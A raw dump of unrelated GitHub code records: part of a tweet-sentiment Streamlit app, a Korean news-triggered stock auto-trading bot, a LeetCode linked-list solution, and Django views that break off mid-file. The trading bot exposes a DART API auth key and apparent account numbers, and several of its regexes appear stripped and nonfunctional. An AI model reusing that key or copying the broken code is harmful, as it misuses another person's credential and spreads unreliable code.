st.write(df_raw_tweets)\n st.write(\"Cleaned tweets\")\n df_raw_tweets_cleaned = clean_pipeline(df_raw_tweets,dropdup=False)\n st.write(df_raw_tweets_cleaned.reset_index().drop(columns=['index']))\n modelpath, tokenpath = get_model_path(model_selectbox)\n output = model.predict_tweet(df_raw_tweets_cleaned.reset_index(), modelpath, tokenpath)\n output = output.drop(columns=['index'])\n st.write(\"Sentiments\")\n st.write(output)\n output.to_csv(datapath+input_filename, index=False)\n st.success('Done! Refresh page and check left side for generated csv file ')\n\nelif module_selectbox == 'Model Analysis':\n st.subheader('Model Analysis')\n st.write(\"Model Training Summary\")\n df_rsme= pd.DataFrame({\"Train RMSE\":[0.00067516, 0.071759, 0.072704],\n \"Validation RSME\":[0.125097,0.1168388,0.1168379],\n \"Test RSME\":[0.1359301,0.1283949,0.1262522]})\n df_rsme.index = ['tfidf', 'GRU', 'LSTM'] \n st.write(df_rsme)\n sentiment_TFIDF = pd.read_csv('./data/sg_tweets_TFIDF.csv')\n sentiment_GRU = pd.read_csv('./data/sg_tweets_GRU.csv')\n sentiment_LSTM = pd.read_csv('./data/sg_tweets_LSTM.csv')\n sentiment_TFIDF_only = pd.DataFrame()\n sentiment_TFIDF_only['sentiment_TFIDF'] = sentiment_TFIDF.sentiment\n sentiment_GRU_only = pd.DataFrame()\n sentiment_GRU_only['sentiment_GRU'] = sentiment_GRU.sentiment\n sentiment_LSTM_only = pd.DataFrame()\n sentiment_LSTM_only['sentiment_LSTM'] = sentiment_LSTM.sentiment\n df_compare = pd.concat([sentiment_TFIDF['created_date'],sentiment_TFIDF_only, sentiment_GRU_only, sentiment_LSTM_only ],axis=1)\n st.write(df_compare)\n df_compare = groupby_sentiment_hour(df_compare)\n column = 'created_datehour'\n reload_sentiment_analysis_ui(df_compare, column)\n #model = Model()\n\nelif module_selectbox == 'Project Architecture':\n st.subheader('Project Architecture')\n datapipeline_image_path ='./data/Project_design.jpg'\n datapipeline_image = Image.open(datapipeline_image_path)\n\n st.image(datapipeline_image, caption='Project Architecture', use_column_width=True)\n","repo_name":"dashtagger/sentiment_analysis_covid","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16865924173","text":"import sys\nimport lib as lib\n# import kiwoom as ki\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QAxContainer import *\n\n# import pandas as pd\nfrom pprint import pprint\nimport re\nimport requests\nfrom threading import Timer, Thread, Event\n\nimport json\nfrom collections import OrderedDict\n\nimport webbrowser\nfrom functools import partial\n\n# 미수거래 넣어야 됨\n\nclass perpetualTimer():\n def __init__(self, t, hFunction):\n self.t = t\n self.hFunction = hFunction\n self.thread = Timer(self.t, self.handle_function)\n\n def handle_function(self):\n self.hFunction()\n self.thread = Timer(self.t, self.handle_function)\n self.thread.start()\n self.thread.cancel()\n\n def start(self):\n self.thread.start()\n\n def cancel(self):\n self.thread.cancel()\n\n\nclass MyWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"뉴스매매(Makeby 욱)\")\n self.setGeometry(300, 300, 1200, 700)\n self.setTable()\n\n # self.t = perpetualTimer(1, self.startNews)\n # self.t.start()\n\n # timer = QTimer()\n # timer.timeout.connect(self.startNews)\n # timer.start(1000)\n self.current_timer = \"\"\n # self.start_timer() # 로그인후 실행하도록 변경\n\n self.apiUrl = \"내 API 주소는 비밀\"\n\n self.thread_cnt = 0\n self.last_title = \"\"\n\n # 키움개인정보\n # self.user_id = \"dev84\" # 테스트\n self.user_id = \"\"\n self.account_number = \"\" # 키움계좌\n\n # print(sys.version)\n\n # 키움증권\n self.kiwoom = QAxWidget(\"KHOPENAPI.KHOpenAPICtrl.1\")\n\n # 키움 이벤트 등록(시그널과 슬롯을 연결)\n self.kiwoom.OnEventConnect.connect(self.event_connect) # 개인정보 호출됨\n self.kiwoom.OnReceiveChejanData.connect(self.receive_chejan_data) # 매수체결후 호출됨\n self.kiwoom.OnReceiveTrData.connect(self.receive_trdata)\n self.kiwoom.OnReceiveMsg.connect(self.receive_msg) # 매수시도후 에러발생시\n\n # print(\"매수테스트 시작\")\n # 8102230011\n # 8102-2300\n '''\n 로그인 후 테스트 해야함\n returnCode = self.kiwoom.dynamicCall(\"SendOrder(QString, QString, QString, int, QString, int, int, QString, QString)\", [\"auto_buy\", \"4989\", \"8102-2300\", 10, \"034220\", 3, \"\", \"03\", \"\"])\n if returnCode != 0:\n # print(\"매수결과 = \" + str(returnCode))\n KiwoomProcessingError(\"sendOrder() : \" + ReturnCode.CAUSE[returnCode])\n else:\n print(\"매수성공 끼야호!\")\n '''\n\n self.textLabel = QLabel(\"정보 : \", self)\n self.textLabel.setGeometry(510, 20, 500, 20)\n\n self.btn_test = QPushButton(\"매수테스트\", self)\n self.btn_test.move(900, 20)\n # btn_test.clicked.connect(ki_instance.btn1_clicked)\n self.btn_test.clicked.connect(self.test_buy)\n\n self.btn1 = QPushButton(\"로그인\", self)\n self.btn1.move(1000, 20)\n # btn1.clicked.connect(ki_instance.btn1_clicked)\n self.btn1.clicked.connect(self.btn1_clicked)\n\n btn2 = QPushButton(\"상태체크\", self)\n btn2.move(1100, 20)\n # btn2.clicked.connect(ki_instance.btn2_clicked)\n btn2.clicked.connect(self.btn2_clicked)\n\n '''\n self.ed = QLineEdit()\n self.ed.move(700, 50)\n self.ed.setText(\"홍길동\") # 텍스트 쓰기\n text = self.ed.text() # 텍스트 읽기\n self.ed.setPlaceholderText(\"이름을 입력하시오\") # Watermark로 텍스트 표시\n self.ed.selectAll() # 텍스트 모두 선택\n # ed.setReadOnly(True)# 에디트는 읽기 전용으로\n # e.setEchoMode(QLineEdit.Password)# Password 스타일 에디트\n '''\n keywordLabel = QLabel(\"종목&키워드 매칭(종목코드:키워드1,키워드2,키워드3...)\", self)\n keywordLabel.setGeometry(510, 50, 500, 50)\n\n self.keywordbtn = QPushButton(\"매칭 저장\", self)\n self.keywordbtn.move(1100, 60)\n self.keywordbtn.clicked.connect(self.keywordbtn_clicked)\n\n self.textEdit = QTextEdit(self)\n self.textEdit.resize(670, 250)\n self.textEdit.move(510, 100)\n\n logLabel = QLabel(\"로그\", self)\n logLabel.setGeometry(510, 370, 500, 50)\n\n self.textEdit2 = QTextEdit(self)\n self.textEdit2.resize(670, 250)\n self.textEdit2.move(510, 420)\n # self.textEdit2.setReadOnly(True)\n\n \"\"\"\"\"\n btn1 = QPushButton(\"Click me\", self)\n btn1.move(20, 20)\n btn1.clicked.connect(self.btn1_clicked)\n \"\"\"\n\n def start_timer(self):\n if self.current_timer:\n self.current_timer.stop()\n self.current_timer.deleteLater()\n\n self.current_timer = QTimer()\n self.current_timer.timeout.connect(self.startNews)\n self.current_timer.setSingleShot(True)\n self.current_timer.start(1000)\n\n def keywordbtn_clicked(self):\n # print(\"저장\")\n content = self.textEdit.toPlainText()\n # print(content)\n # print(self.user_id)\n\n post_data = {\"type\": \"keyword_save\", \"stock_id\": self.user_id, \"content\": content}\n r = requests.post(self.apiUrl, data=post_data)\n result_json = r.text # {\"result\":\"OK\"}\n # print(result_json)\n\n # JSON 디코딩\n dict = json.loads(result_json)\n # print(\"result = \" + dict['result']) # OK\n if dict['result'] == \"OK\":\n w = QWidget() # The QWidget widget is the base class\n w.setWindowTitle('키워드저장버튼')\n w.resize(400, 200)\n result = QMessageBox.information(w, \"Information\", \"저장완료\")\n\n # if result == QMessageBox.Ok:\n # myTextbox.setText(\"Clicked OK on Information.\")\n\n def btn1_clicked(self):\n # print(\"로그인 버튼 클릭\")\n ret = self.kiwoom.dynamicCall(\"CommConnect()\")\n if ret == 0:\n self.statusBar().showMessage(\"로그인 창 열기 성공\")\n # self.btn1.setText('로그인 정보보기')\n # self.getLoginInfo()\n else:\n self.statusBar().showMessage(\"로그인 창 열기 실패\")\n # print(ret)\n\n def btn1_clicked_logined(self):\n print(\"ok\")\n\n # 로그인 상태 확인\n def btn2_clicked(self):\n if self.kiwoom.dynamicCall(\"GetConnectState()\") == 0:\n self.statusBar().showMessage(\"Not connected\")\n else:\n self.statusBar().showMessage(\"Connected\")\n\n # 로그인 유저 정보 호출\n def getLoginInfo(self, type):\n # print(\"getLoginInfo\")\n info = self.kiwoom.dynamicCall(\"GetLoginInfo(QString)\", type)\n # print(info)\n return info\n\n def get_stock_info(self, code):\n # print(\"get_stock_info Code = \" + code)\n\n # SetInputValue\n self.kiwoom.dynamicCall(\"SetInputValue(QString, QString)\", \"종목코드\", code)\n\n # CommRqData\n # 구분자 : opt10001\n # 스프릿 : opt10001_req\n self.kiwoom.dynamicCall(\"CommRqData(QString, QString, int, QString)\", \"opt10001_req__WOOK__\" + code, \"opt10001\", 0, \"0101\")\n\n def test_buy(self):\n returnCode = self.kiwoom.dynamicCall(\n \"SendOrder(QString, QString, QString, int, QString, int, int, QString, QString)\",\n [\"auto_buy\", \"4989\", \"8102230011\", 1, \"034220\", 10, \"\", \"03\", \"\"])\n if returnCode != 0:\n # print(\"매수결과 = \" + str(returnCode))\n KiwoomProcessingError(\"sendOrder : \" + ReturnCode.CAUSE[returnCode])\n else:\n print(\"매수성공 끼야호!\")\n\n def receive_trdata(self, screen_no, rqname, trcode, recordname, prev_next, data_len, err_code, msg1, msg2):\n\n rqname_split = re.split('__WOOK__', rqname)\n rqname = rqname_split[0]\n code = rqname_split[1]\n\n print(\"====================================\")\n print(\"receive_trdata 호출됨 , rqname = \" + rqname)\n\n if rqname == \"opt10001_req\":\n name = self.kiwoom.dynamicCall(\"CommGetData(QString, QString, QString, int, QString)\", trcode, \"\", rqname, 0, \"종목명\")\n volume = self.kiwoom.dynamicCall(\"CommGetData(QString, QString, QString, int, QString)\", trcode, \"\", rqname, 0, \"거래량\")\n now_price = self.kiwoom.dynamicCall(\"CommGetData(QString, QString, QString, int, QString)\", trcode, \"\", rqname, 0, \"현재가\")\n\n '''\n strData = OpenAPI.GetCommData(sTrcode, strRQName, nIdx, _T(\"종목코드\")); strData.Trim();\n strData = OpenAPI.GetCommData(sTrcode, strRQName, nIdx, _T(\"거래량\")); strData.Trim();\n strData = OpenAPI.GetCommData(sTrcode, strRQName, nIdx, _T(\"시가\")); strData.Trim();\n strData = OpenAPI.GetCommData(sTrcode, strRQName, nIdx, _T(\"고가\")); strData.Trim();\n strData = OpenAPI.GetCommData(sTrcode, strRQName, nIdx, _T(\"저가\")); strData.Trim();\n strData = OpenAPI.GetCommData(sTrcode, strRQName, nIdx, _T(\"현재가\")); strData.Trim(); \n '''\n print(\"====================================\")\n print(\"종목코드 : \" + code)\n print(\"종목명 : \" + name.strip())\n print(\"거래량 : \" + volume.strip())\n print(\"현재가 : \" + now_price.strip())\n\n # 여기서 매수하자\n n_price = abs(int(now_price.strip()))\n\n # self.account_number = self.account_number.replace(';', '')\n temp = re.split(';', self.account_number)\n buy_account_number = temp[0]\n\n print(\"buy_account_number = \" + buy_account_number)\n print(\"n_price = \" + str(n_price))\n\n returnCode = self.kiwoom.dynamicCall(\n \"SendOrder(QString, QString, QString, int, QString, int, int, QString, QString)\",\n [\"auto_buy\", \"4989\", buy_account_number, 1, code, 1, \"\", \"03\", \"\"])\n if returnCode != 0:\n # print(\"매수결과 = \" + str(returnCode))\n KiwoomProcessingError(\"sendOrder : \" + ReturnCode.CAUSE[returnCode])\n else:\n msg = \"매수성공, 종목코드 = \" + code + \", 계좌번호 = \" + buy_account_number\n print(msg)\n\n content = self.textEdit2.toPlainText()\n self.textEdit2.setText(msg + \"\\n\" + content)\n\n '''\n [SendOrder() 함수]\n\n SendOrder(\n BSTR sRQName, // 사용자 구분명\n BSTR sScreenNo, // 화면번호\n BSTR sAccNo, // 계좌번호 10자리\n LONG nOrderType, // 주문유형 1:신규매수, 2:신규매도 3:매수취소, 4:매도취소, 5:매수정정, 6:매도정정\n BSTR sCode, // 종목코드\n LONG nQty, // 주문수량\n LONG nPrice, // 주문가격\n BSTR sHogaGb, // 거래구분(혹은 호가구분)은 아래 참고\n BSTR sOrgOrderNo // 원주문번호입니다. 신규주문에는 공백, 정정(취소)주문할 원주문번호를 입력합니다.\n )\n\n 9개 인자값을 가진 국내 주식주문 함수이며 리턴값이 0이면 성공이며 나머지는 에러입니다.\n 1초에 5회만 주문가능하며 그 이상 주문요청하면 에러 -308을 리턴합니다.\n\n [거래구분]\n 모의투자에서는 지정가 주문과 시장가 주문만 가능합니다.\n\n 00 : 지정가\n 03 : 시장가\n 05 : 조건부지정가\n 06 : 최유리지정가\n 07 : 최우선지정가\n 10 : 지정가IOC\n 13 : 시장가IOC\n 16 : 최유리IOC\n 20 : 지정가FOK\n 23 : 시장가FOK\n 26 : 최유리FOK\n 61 : 장전시간외종가\n 62 : 시간외단일가매매\n 81 : 장후시간외종가 \n '''\n\n\n # 로그인 후 실행되는 함수\n # 로그인성공\n def event_connect(self, code):\n if code == 0:\n self.statusBar().showMessage(\"로그인 성공\")\n self.user_id = self.getLoginInfo(\"USER_ID\")\n self.account_number = self.getLoginInfo(\"ACCNO\")\n # print(self.account_number)\n\n self.textLabel.setText(\"●계좌번호 : \" + self.account_number)\n self.btn1.setText(self.user_id + \"님\")\n # 버튼 이벤트 해제해야 하는데 일단 스킵\n\n # 종목코드:키워드 정보 가져오기\n post_data = {\"type\": \"get_keyword\", \"stock_id\": self.user_id}\n r = requests.post(self.apiUrl, data=post_data)\n result_json = r.text # {\"result\":\"OK\"}\n\n # JSON 디코딩\n dict = json.loads(result_json)\n data = dict['data']\n # print(\"종목키워드 데이터\\n=================\\n\" + data + \"\\n=================\\n\")\n self.textEdit.setText(data)\n\n # 매수테스트\n '''\n 종목코드 : 003550\n 종목명 : LG\n 거래량 : 42202\n 현재가 : 86000\n account_number = 8102230011\n 8739688531\n n_price = 86000 \n '''\n\n '''\n print(\"로그인 후 매수테스트\")\n returnCode = self.kiwoom.dynamicCall(\n \"SendOrder(QString, QString, QString, int, QString, int, int, QString, QString)\",\n [\"auto_buy\", \"4989\", \"8102230011\", 1, \"034220\", 10, \"\", \"03\", \"\"])\n if returnCode != 0:\n # print(\"매수결과 = \" + str(returnCode))\n KiwoomProcessingError(\"sendOrder : \" + ReturnCode.CAUSE[returnCode])\n else:\n print(\"매수성공 끼야호!\")\n '''\n\n self.start_timer()\n else:\n self.statusBar().showMessage(\"로그인 실패\")\n\n # print(\"event_connect 호출됨\")\n # self.event_connect_loop.exit()\n\n # SendOrder(주문) 성공후 호출\n '''\n BSTR sGubun, // 체결구분 접수와 체결시 '0'값, 국내주식 잔고전달은 '1'값, 파생잔고 전달은 '4'\n LONG nItemCnt,\n BSTR sFIdList \n '''\n # 매수성공\n def receive_chejan_data(self, gubun, item_cnt, field_list):\n # print(\"매수성공함\")\n print(\"receive_chejan_data 호출, 매수성공, gubun = \" + gubun + \" , item_cnt = \" + item_cnt + \" , field_list = \" + field_list)\n # print(self.get_chejan_data(9203))\n # print(self.get_chejan_data(302))\n # print(self.get_chejan_data(900))\n # print(self.get_chejan_data(901))\n\n # 매수성공(일단 사용안함)\n def get_chejan_data(self, fid):\n ret = self.dynamicCall(\"GetChejanData(int)\", fid)\n return ret\n\n # 매수에러\n def receive_msg(self, scr_no, rq_name, tr_code, msg):\n print(\"receive_msg 호출됨, 매수에러 발생, rq_name = \" + rq_name + \", tr_code = \" + tr_code + \", msg = \" + msg)\n\n def setTable(self):\n # self.setGeometry(5,5,200,200)\n\n newsLabel = QLabel(\"실시간 뉴스\", self)\n newsLabel.setGeometry(5, 5, 500, 50)\n\n self.tableWidget = QTableWidget(self)\n\n # self.tableWidget.resize(500, 500)\n self.tableWidget.setGeometry(5, 50, 500, 500)\n\n self.tableWidget.setRowCount(20)\n self.tableWidget.setColumnCount(3)\n\n # self.tableWidget.setVerticalHeaderLabels(['1','2'])\n self.tableWidget.setHorizontalHeaderLabels(['제목', '시간', '상세보기'])\n\n # 데이터 넣기\n # self.setTableWidgetData()\n # self.startNews()\n\n def startNews(self):\n self.thread_cnt = self.thread_cnt + 1\n print(\"뉴스 쓰레드 가동(\" + str(self.thread_cnt) + \")\")\n\n # 뉴스 쓰레드 가동(283) 에서\n # Process finished with exit code -1073740940 (0xC0000374) 에러발생\n # Process finished with exit code -1073741819 (0xC0000005)\n # Process finished with exit code -1073741819 (0xC0000005)\n\n # 뉴스 저장하기\n # self.setNews2()\n\n # 뉴스 가져오기\n # self.get_news()\n\n # 뉴스 쓰레드 가동(281) 에서\n # Process finished with exit code -1073740940 (0xC0000374)\n self.get_set_news()\n\n # self.t = perpetualTimer(1, self.startNews)\n # self.t.start()\n\n # timer = QTimer()\n # timer.timeout.connect(self.startNews)\n # timer.start(1000)\n\n self.start_timer()\n\n '''\n def setTableWidgetData(self):\n self.tableWidget.setItem(0, 0, QTableWidgetItem(\"(0,0)\"))\n self.tableWidget.setItem(0, 1, QTableWidgetItem(\"(0,1)\"))\n self.tableWidget.setItem(1, 0, QTableWidgetItem(\"(1,0)\"))\n self.tableWidget.setItem(1, 1, QTableWidgetItem(\"(1,1)\"))\n '''\n\n \"\"\"\n def btn1_clicked(self):\n QMessageBox.about(self, \"message\", \"clicked\")\n \"\"\"\n\n # API 서버에서 뉴스크롤링 실행시키고, 바로 가져오기\n def get_set_news(self):\n post_data = {\"type\": \"getset\", \"stock_id\": self.user_id}\n r = requests.post(self.apiUrl, data=post_data)\n result_json = r.text # {\"result\":\"OK\"}\n\n # JSON 디코딩\n dict = json.loads(result_json)\n # print(\"get_set_news = \" + dict['result'])\n\n # 매칭된 키워드가 있으면 로그로 보여주기\n '''\n 뉴스 쓰레드 가동(135)\n {'111': ['(주)', '결과']}\n '''\n if dict['log_text']:\n content = self.textEdit2.toPlainText()\n self.textEdit2.setText(dict['log_text'] + content)\n\n # print(dict['list'])\n # print(dict['buy_code'])\n # for i in dict['buy_code']:\n # print(\"구매종목코드 : \" + i)\n '''\n 003550 : LG\n 034220 : LG디스플레이\n 001120 : LG상사\n '''\n buy_code = re.split(',', dict['buy_code'])\n for row in buy_code:\n if row:\n # print(\"구매종목코드 : \" + row)\n self.get_stock_info(row)\n\n # print(dict['list'])\n cnt = 0\n # self.tableWidget.setRowCount(20)\n\n for row in dict['list']:\n if cnt == 0:\n if self.last_title == row['title']:\n break\n else:\n # print(row['title'] + \" \" + row['time'])\n self.last_title = row['title']\n # for i in range(0, 20):\n # self.tableWidget.setItem(i, 0, QTableWidgetItem(\"1\"))\n # self.tableWidget.setItem(i, 1, QTableWidgetItem(\"1\"))\n\n title = row['title'][0:30]\n self.tableWidget.setItem(cnt, 0, QTableWidgetItem(title))\n self.tableWidget.setItem(cnt, 1, QTableWidgetItem(row['time']))\n\n detailbtn = QPushButton(\"보기\")\n # detailbtn.clicked.connect(lambda:self.detailbtn_clicked(row['idx']))\n detailbtn.clicked.connect(partial(self.detailbtn_clicked, row['idx']))\n self.tableWidget.setCellWidget(cnt, 2, detailbtn)\n # print(row['idx'])\n\n # 데이터 갱신을 위해 포커스를 주자\n self.tableWidget.setCurrentCell(cnt, 0)\n self.tableWidget.setCurrentCell(cnt, 1)\n self.tableWidget.setCurrentCell(cnt, 2)\n cnt = cnt + 1\n\n # 각 열크기 맞춤\n self.tableWidget.resizeColumnsToContents()\n self.tableWidget.resizeRowsToContents()\n\n # 기사 상세보기 띄우기\n def detailbtn_clicked(self, idx):\n # print(idx)\n url = self.apiUrl + \"?type=news_detail&idx=\" + idx + \"&stock_id=\" + self.user_id\n webbrowser.open(url)\n\n # API 서버에서 뉴스크롤링 실행시키기\n def setNews2(self):\n post_data = {\"type\": \"set\", \"stock_id\": self.user_id}\n r = requests.post(self.apiUrl, data=post_data)\n result_json = r.text # {\"result\":\"OK\"}\n\n # JSON 디코딩\n dict = json.loads(result_json)\n print(\"setNews2 = \" + dict['result'])\n\n # 파이썬 자체에서 크롤링\n def setNews(self):\n # 공시정보 가져오기\n # lib.get_financial_statements('http://dart.fss.or.kr/api/search.json?auth=5d7fe977e575fb2ec15661d0a1556f40793237f6')\n outhtml = lib.get_financial_statements('크롤링 주소는 비밀')\n # print(outhtml)\n # output = re.match(r'(?s).*(.*).*', outhtml, re.M|re.I)\n # print(output.group(1))\n # output = re.match(r'(?s).*
(.*)
(.*).*', output.group(1), re.M|re.I)\n output = re.match(r'(?s).*(.*).*', outhtml, re.M | re.I)\n output_data = ''\n if output is not None:\n output_data = output.group(1)\n # print(output)\n else:\n print(\"젠장... 비었음...\")\n\n # print(output_data)\n outlist = re.split('', output_data)\n # pprint(outlist)\n\n cnt = 0\n all_json = OrderedDict()\n for row in outlist:\n # date = lib.get_between_string(row, '
', '
')\n # print(row)\n row_list = re.split('(.*).*', row_list[1])\n date = tmp.group(1)\n\n tmp = re.match(r'(?s).*
(.*)
.*', row_list[2])\n time = tmp.group(1)\n\n tmp = re.match(r'(?s).*
(.*)
.*', row_list[3])\n title = tmp.group(1)\n title = title.replace('  ', '')\n\n row_json['date'] = date\n row_json['time'] = time\n row_json['title'] = title\n\n all_json[str(cnt)] = row_json\n except:\n '''\n print(\"끝줄에러\")\n '''\n\n '''\n test = \"\"\n test += \"date = \" + date + \" || \"\n test += \"time = \" + time + \" || \"\n test += \"title = \" + title + \" || \"\n print(str(cnt) + \" = \" + test)\n '''\n cnt = cnt + 1\n\n # pprint(all_json)\n jsonString = json.dumps(all_json)\n post_data = {'data': jsonString, \"type\": \"news_toss\", \"stock_id\": self.user_id}\n # print(jsonString)\n # pprint(post_data)\n\n # 디비에 저장\n r = requests.post(self.apiUrl, data=post_data)\n result_json = r.text # {\"result\":\"OK\"}\n\n def get_news(self):\n post_data = {\"type\": \"get\", \"stock_id\": self.user_id}\n r = requests.post(self.apiUrl, data=post_data)\n result_json = r.text # {\"result\":\"OK\"}\n # print(\"result_json = \" + result_json)\n\n # JSON 디코딩\n dict = json.loads(result_json)\n\n # Dictionary 데이타 체크\n print(\"get_news = \" + dict['result'])\n\n # print(dict['list'])\n cnt = 0\n # self.tableWidget.setRowCount(20)\n\n for row in dict['list']:\n if cnt == 0:\n if self.last_title == row['title']:\n break\n else:\n # print(row['title'] + \" \" + row['time'])\n self.last_title = row['title']\n # for i in range(0, 20):\n # self.tableWidget.setItem(i, 0, QTableWidgetItem(\"1\"))\n # self.tableWidget.setItem(i, 1, QTableWidgetItem(\"1\"))\n\n title = row['title'][0:40]\n self.tableWidget.setItem(cnt, 0, QTableWidgetItem(title))\n self.tableWidget.setItem(cnt, 1, QTableWidgetItem(row['time']))\n\n # 데이터 갱신을 위해 포커스를 주자\n self.tableWidget.setCurrentCell(cnt, 0)\n self.tableWidget.setCurrentCell(cnt, 1)\n cnt = cnt + 1\n\n # 각 열크기 맞춤\n self.tableWidget.resizeColumnsToContents()\n self.tableWidget.resizeRowsToContents()\n\n\nclass KiwoomProcessingError(Exception):\n \"\"\" 키움에서 처리실패에 관련된 리턴코드를 받았을 경우 발생하는 예외 \"\"\"\n\n def __init__(self, msg=\"처리 실패\"):\n # self.msg = msg\n print(msg)\n\n def __str__(self):\n return self.msg\n\n def __repr__(self):\n return self.msg\n\nclass ReturnCode(object):\n \"\"\" 키움 OpenApi+ 함수들이 반환하는 값 \"\"\"\n\n OP_ERR_NONE = 0 # 정상처리\n OP_ERR_FAIL = -10 # 실패\n OP_ERR_LOGIN = -100 # 사용자정보교환실패\n OP_ERR_CONNECT = -101 # 서버접속실패\n OP_ERR_VERSION = -102 # 버전처리실패\n OP_ERR_FIREWALL = -103 # 개인방화벽실패\n OP_ERR_MEMORY = -104 # 메모리보호실패\n OP_ERR_INPUT = -105 # 함수입력값오류\n OP_ERR_SOCKET_CLOSED = -106 # 통신연결종료\n OP_ERR_SISE_OVERFLOW = -200 # 시세조회과부하\n OP_ERR_RQ_STRUCT_FAIL = -201 # 전문작성초기화실패\n OP_ERR_RQ_STRING_FAIL = -202 # 전문작성입력값오류\n OP_ERR_NO_DATA = -203 # 데이터없음\n OP_ERR_OVER_MAX_DATA = -204 # 조회가능한종목수초과\n OP_ERR_DATA_RCV_FAIL = -205 # 데이터수신실패\n OP_ERR_OVER_MAX_FID = -206 # 조회가능한FID수초과\n OP_ERR_REAL_CANCEL = -207 # 실시간해제오류\n OP_ERR_ORD_WRONG_INPUT = -300 # 입력값오류\n OP_ERR_ORD_WRONG_ACCTNO = -301 # 계좌비밀번호없음\n OP_ERR_OTHER_ACC_USE = -302 # 타인계좌사용오류\n OP_ERR_MIS_2BILL_EXC = -303 # 주문가격이20억원을초과\n OP_ERR_MIS_5BILL_EXC = -304 # 주문가격이50억원을초과\n OP_ERR_MIS_1PER_EXC = -305 # 주문수량이총발행주수의1%초과오류\n OP_ERR_MIS_3PER_EXC = -306 # 주문수량이총발행주수의3%초과오류\n OP_ERR_SEND_FAIL = -307 # 주문전송실패\n OP_ERR_ORD_OVERFLOW = -308 # 주문전송과부하\n OP_ERR_MIS_300CNT_EXC = -309 # 주문수량300계약초과\n OP_ERR_MIS_500CNT_EXC = -310 # 주문수량500계약초과\n OP_ERR_ORD_WRONG_ACCTINFO = -340 # 계좌정보없음\n OP_ERR_ORD_SYMCODE_EMPTY = -500 # 종목코드없음\n\n CAUSE = {\n 0: '정상처리',\n -10: '실패',\n -100: '사용자정보교환실패',\n -102: '버전처리실패',\n -103: '개인방화벽실패',\n -104: '메모리보호실패',\n -105: '함수입력값오류',\n -106: '통신연결종료',\n -200: '시세조회과부하',\n -201: '전문작성초기화실패',\n -202: '전문작성입력값오류',\n -203: '데이터없음',\n -204: '조회가능한종목수초과',\n -205: '데이터수신실패',\n -206: '조회가능한FID수초과',\n -207: '실시간해제오류',\n -300: '입력값오류',\n -301: '계좌비밀번호없음',\n -302: '타인계���사용오류',\n -303: '주문가격이20억원을초과',\n -304: '주문가격이50억원을초과',\n -305: '주문수량이총발행주수의1%초과오류',\n -306: '주문수량이총발행주수의3%초과오류',\n -307: '주문전송실패',\n -308: '주문전송과부하',\n -309: '주문수량300계약초과',\n -310: '주문수량500계약초과',\n -340: '계좌정보없음',\n -500: '종목코드없음'\n }\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n myWindow = MyWindow()\n myWindow.show()\n app.exec_()","repo_name":"soochox/stock","sub_path":"dareun_nom_chamgo.py","file_name":"dareun_nom_chamgo.py","file_ext":"py","file_size_in_byte":27975,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26006081495","text":"#链表问题,先考虑可不可以,需不需要虚拟节点,再考虑先后指向关系。\n\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def swapPairs(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if head is None or head.next is None:\n return head\n\n vis = ListNode(next=head)\n cur = vis\n count = 0\n while cur.next.next is not None:\n if count % 2 ==0:\n temp = cur.next.next\n cur.next.next = temp.next\n temp.next = cur.next\n cur.next = temp\n \n cur = cur.next\n count += 1\n return vis.next\n ","repo_name":"supersyz/good_job","sub_path":"代码随想录/2链表/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"43486398119","text":"from django.shortcuts import render, redirect\nfrom .models import Album\nfrom .models import Avis\nfrom .models import Evenement\nfrom .models import News\nfrom .models import Une_photo\nfrom .models import Doc\nfrom .models import Bureau_municipal\nfrom .models import Demarche\nfrom .formulaires import DemarcheForm\n\n\ndef indexPage(request):\n albums = Album.objects.all()\n docs = Doc.objects.all()\n avis = Avis.objects.all()\n news = News.objects.all()\n events = Evenement.objects.all()\n unes = Une_photo.objects.all()\n return render(request, 'index.html', {'avis': avis,'albums': albums,'news': news, 'events': events, 'unes': unes, 'docs': docs})\n\n\ndef contactPage(request):\n docs = Doc.objects.all()\n events = Evenement.objects.all()\n albums = Album.objects.all()\n avis = Avis.objects.all()\n return render(request, 'phone-numbers.html', {'events': events, 'avis': avis, 'albums': albums, 'docs': docs})\n\ndef contact_maire(request):\n albums = Album.objects.all()\n posts = News.objects.all()\n avis = Avis.objects.all()\n events = Evenement.objects.all()\n docs = Doc.objects.all()\n return render(request, 'contact.html', {'posts': posts, 'events': events, 'avis': avis, 'albums': albums, 'docs': docs})\n\ndef documents(request):\n docs = Doc.objects.all()\n avis = Avis.objects.all()\n albums = Album.objects.all()\n return render(request, 'document-list.html', {'albums': albums, 'avis': avis, 'docs': docs})\n\ndef events(request):\n events = Evenement.objects.all()\n docs = Doc.objects.all()\n albums = Album.objects.all()\n return render(request, 'event-list.html', {'albums':albums, 'events': events, 'docs': docs})\n\n\ndef event_show(request, id):\n event = Evenement.objects.get(pk=id)\n events = Evenement.objects.all()\n albums = Album.objects.all()\n docs = Doc.objects.all()\n return render(request, 'event-detail.html', {'albums':albums, 'events': events,'event': event, 'docs': docs})\n\ndef galeries(request):\n albums = Album.objects.all()\n docs = Doc.objects.all()\n return render(request, 'gallery-list.html', {'albums' : albums, 'docs': docs})\n\ndef galerie_photos(request, id):\n posts = News.objects.all()\n album = Album.objects.get(pk=id)\n albums = Album.objects.all()\n docs = Doc.objects.all()\n return render(request, 'gallery-detail.html', {'posts' : posts, 'albums': albums, 'album': album, 'docs': docs})\n\ndef conseil(request):\n docs = Doc.objects.all()\n membre_bureau = Bureau_municipal.objects.all()\n return render(request, 'town-council.html',{'docs': docs, 'membre_bureau': membre_bureau})\n\ndef post(request):\n avis = Avis.objects.all()\n docs = Doc.objects.all()\n news = News.objects.all()\n albums = Album.objects.all()\n return render(request, 'post-list.html', {'albums': albums, 'news': news, 'docs': docs, 